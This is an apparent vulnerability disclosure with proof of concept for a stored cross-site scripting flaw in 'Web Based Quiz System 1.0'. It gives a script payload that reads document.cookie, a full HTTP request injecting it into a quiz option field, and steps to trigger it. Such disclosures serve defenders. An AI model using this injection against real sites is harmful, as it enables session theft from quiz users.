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Web Based Quiz System 1.0 Cross Site Scripting

Web Based Quiz System 1.0 Cross Site Scripting
Posted Mar 2, 2021
Authored by Praharsh Kumar Singh

Web Based Quiz System version 1.0 suffers from a persistent cross site scripting vulnerability related to MCQ options.

tags | exploit, web, xss
MD5 | 33d7b64ac2b9aead162afda02fdb40a1

Web Based Quiz System 1.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: Web Based Quiz System 1.0 - 'MCQ options' Persistent/Stored Cross-Site Scripting
# Date: 2021-03-02
# Exploit Author: Praharsh Kumar Singh
# Vendor Homepage: https://www.sourcecodester.com
# Software Download Link: https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
# Software: Web Based Quiz System
# Version: 1.0
# Vulnerability Type: Cross-site Scripting
# Vulnerability: Persistent/Stored XSS
# Tested on: Parrot OS

# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe
# in adding questions in options parameter affected from this vulnerability.
# payload: </script><script >alert(document.cookie)</script>

POST /onlinequiz_0/update.php?q=addqns&n=1&eid=603d2f766b0d0&ch=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/onlinequiz_0/dashboard.php?q=4&step=2&eid=603d2f766b0d0&n=1
Cookie: PHPSESSID=icctgctoho6nlqc6cbp8bftkeh
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

qns1=1&11=1&12=1&13=%3C%2Fscript%3E%3Cscript+%3Ealert%28document.cookie%29%3C%2Fscript%3E&14=1&ans1=c

POC:
# go to url http://localhost:8080/admin.php
# login and add question
# then put the above payload in MCQ options parameter
# then fill the remaining details
# then click add
# go to url http://localhost:8080/login.php
# then login to user account
# then attempt the quiz while attempting the quiz xss pop up there..!

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